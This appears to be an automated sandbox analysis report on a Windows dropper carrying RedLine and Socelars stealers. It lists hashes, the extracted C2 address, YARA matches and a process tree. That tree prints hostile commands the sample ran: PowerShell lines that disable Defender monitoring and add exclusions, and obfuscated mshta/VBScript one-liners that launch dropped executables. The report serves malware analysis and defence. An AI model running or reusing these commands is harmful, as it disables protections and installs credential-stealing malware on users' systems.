Analysis
-
max time kernel
150s -
max time network
148s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
20/11/2021, 04:36
Static task
static1
Behavioral task
behavioral1
Sample
a0183ddc59605205f37af101460de5c2.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
a0183ddc59605205f37af101460de5c2.exe
Resource
win10-en-20211014
General
-
Target
a0183ddc59605205f37af101460de5c2.exe
-
Size
10.3MB
-
MD5
a0183ddc59605205f37af101460de5c2
-
SHA1
f990eef90be40471bde64df1acddeda15e86947c
-
SHA256
781824a03b746fbeedba42ceba949da4f93388bfd3c7eae4ab560417fd128a40
-
SHA512
ed06b26da017d1595811698e313b351a16d11556078a2f81d73169dd92b75e6fcbc3d389458b4fb22db1a1f0ce42558e9b20168ee78fb2eeaa5c77380c158d65
Malware Config
Extracted
redline
media17plus
91.121.67.60:51630
Extracted
socelars
http://www.gianninidesign.com/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2700 2524 rundll32.exe 61 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
resource yara_rule behavioral1/memory/2432-221-0x0000000000418F02-mapping.dmp family_redline behavioral1/memory/2432-224-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/2432-220-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/2432-219-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/2432-218-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Socelars Payload 1 IoCs
resource yara_rule behavioral1/files/0x000600000001226f-98.dat family_socelars -
resource yara_rule behavioral1/files/0x000600000001221e-63.dat aspack_v212_v242 behavioral1/files/0x000600000001221e-64.dat aspack_v212_v242 behavioral1/files/0x0007000000012210-66.dat aspack_v212_v242 behavioral1/files/0x0007000000012210-65.dat aspack_v212_v242 behavioral1/files/0x0006000000012224-70.dat aspack_v212_v242 behavioral1/files/0x0006000000012224-69.dat aspack_v212_v242 -
Executes dropped EXE 1 IoCs
pid Process 1468 setup_install.exe -
Loads dropped DLL 11 IoCs
pid Process 1028 a0183ddc59605205f37af101460de5c2.exe 1028 a0183ddc59605205f37af101460de5c2.exe 1028 a0183ddc59605205f37af101460de5c2.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe 1468 setup_install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 25 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 1 IoCs
pid Process 2352 taskkill.exe -
Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1028 wrote to memory of 1468 1028 a0183ddc59605205f37af101460de5c2.exe 28 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 956 1468 setup_install.exe 30 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1056 1468 setup_install.exe 31 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1972 1468 setup_install.exe 32 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33 PID 1468 wrote to memory of 1452 1468 setup_install.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe"C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS404201B5\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable3⤵PID:956
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵PID:1416
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵PID:1056
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:1200
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed1475daf8d83eb4ee.exe3⤵PID:1972
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exeWed1475daf8d83eb4ee.exe4⤵PID:1512
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14e8848dc0a8.exe3⤵PID:1452
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exeWed14e8848dc0a8.exe4⤵PID:1696
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed146cd9abbf86.exe /mixtwo3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed146cd9abbf86.exeWed146cd9abbf86.exe /mixtwo4⤵PID:888
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14a61b7346e6.exe3⤵PID:808
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14a61b7346e6.exeWed14a61b7346e6.exe4⤵PID:2172
-
C:\Users\Admin\AppData\Local\Temp\is-KR3MP.tmp\Wed14a61b7346e6.tmp"C:\Users\Admin\AppData\Local\Temp\is-KR3MP.tmp\Wed14a61b7346e6.tmp" /SL5="$20188,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14a61b7346e6.exe"5⤵PID:2872
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed148d25325fe1a53.exe3⤵PID:1736
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14074314ea334476.exe3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14686693dc972e.exe3⤵PID:1472
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14913b204c27f2e9.exe3⤵PID:1552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14ee130a604e2a.exe3⤵PID:896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed148985fecf.exe3⤵PID:912
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14176d754ef7d838.exe3⤵PID:272
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14773c6ddc763638.exe3⤵PID:1012
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed143f08e2d21bc4.exe3⤵PID:1352
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14df9919150a4ecf2.exe3⤵PID:1780
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exeWed14773c6ddc763638.exe1⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\is-S4EH7.tmp\Wed14773c6ddc763638.tmp"C:\Users\Admin\AppData\Local\Temp\is-S4EH7.tmp\Wed14773c6ddc763638.tmp" /SL5="$10182,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe"2⤵PID:2060
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe"C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe" /SILENT3⤵PID:2112
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIpT: cLOse ( CReateobJeCT ( "wSCRIPT.shElL" ).rUn("CmD.EXE /Q /R COPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe"" ..\gIzR.EXE && sTaRT ..\GiZR.exE /PcMPF0HRtawml6 & if """"=="""" for %H IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe"" ) do taskkill /IM ""%~nXH"" -F " , 0 , TRUe ) )1⤵PID:1168
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R COPY /y "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe" ..\gIzR.EXE &&sTaRT ..\GiZR.exE /PcMPF0HRtawml6& if ""=="" for %H IN ("C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe" ) do taskkill /IM "%~nXH" -F2⤵PID:2304
-
C:\Users\Admin\AppData\Local\Temp\gIzR.EXE..\GiZR.exE /PcMPF0HRtawml63⤵PID:2340
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Wed143f08e2d21bc4.exe" -F3⤵
- Kills process with taskkill
PID:2352
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14686693dc972e.exeWed14686693dc972e.exe1⤵PID:1928
-
C:\Users\Admin\AppData\Roaming\7933033.exe"C:\Users\Admin\AppData\Roaming\7933033.exe"2⤵PID:2568
-
-
C:\Users\Admin\AppData\Roaming\3215397.exe"C:\Users\Admin\AppData\Roaming\3215397.exe"2⤵PID:2624
-
-
C:\Users\Admin\AppData\Roaming\812052.exe"C:\Users\Admin\AppData\Roaming\812052.exe"2⤵PID:2640
-
-
C:\Users\Admin\AppData\Roaming\5961668.exe"C:\Users\Admin\AppData\Roaming\5961668.exe"2⤵PID:2792
-
-
C:\Users\Admin\AppData\Roaming\510775.exe"C:\Users\Admin\AppData\Roaming\510775.exe"2⤵PID:2764
-
C:\Users\Admin\AppData\Roaming\7099622.exe"C:\Users\Admin\AppData\Roaming\7099622.exe"3⤵PID:1688
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ("WscrIPT.ShELl" ). RuN("cmd /R COpy /Y ""C:\Users\Admin\AppData\Roaming\7099622.exe"" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF """" == """" for %v iN ( ""C:\Users\Admin\AppData\Roaming\7099622.exe"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )4⤵PID:2084
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Roaming\7099622.exe" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "" == "" for %v iN ("C:\Users\Admin\AppData\Roaming\7099622.exe" ) do taskkill -IM "%~NXv" /F5⤵PID:1080
-
-
-
-
C:\Users\Admin\AppData\Roaming\4636908.exe"C:\Users\Admin\AppData\Roaming\4636908.exe"3⤵PID:1620
-
-
-
C:\Users\Admin\AppData\Roaming\8648778.exe"C:\Users\Admin\AppData\Roaming\8648778.exe"2⤵PID:2740
-
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exe"C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exe" -u1⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exeWed14ee130a604e2a.exe1⤵PID:1920
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exeC:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exe2⤵PID:2440
-
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed148985fecf.exeWed148985fecf.exe1⤵PID:1292
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exeC:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exe1⤵PID:2432
-
C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exeWed143f08e2d21bc4.exe1⤵PID:1976
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2700 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2708
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:2952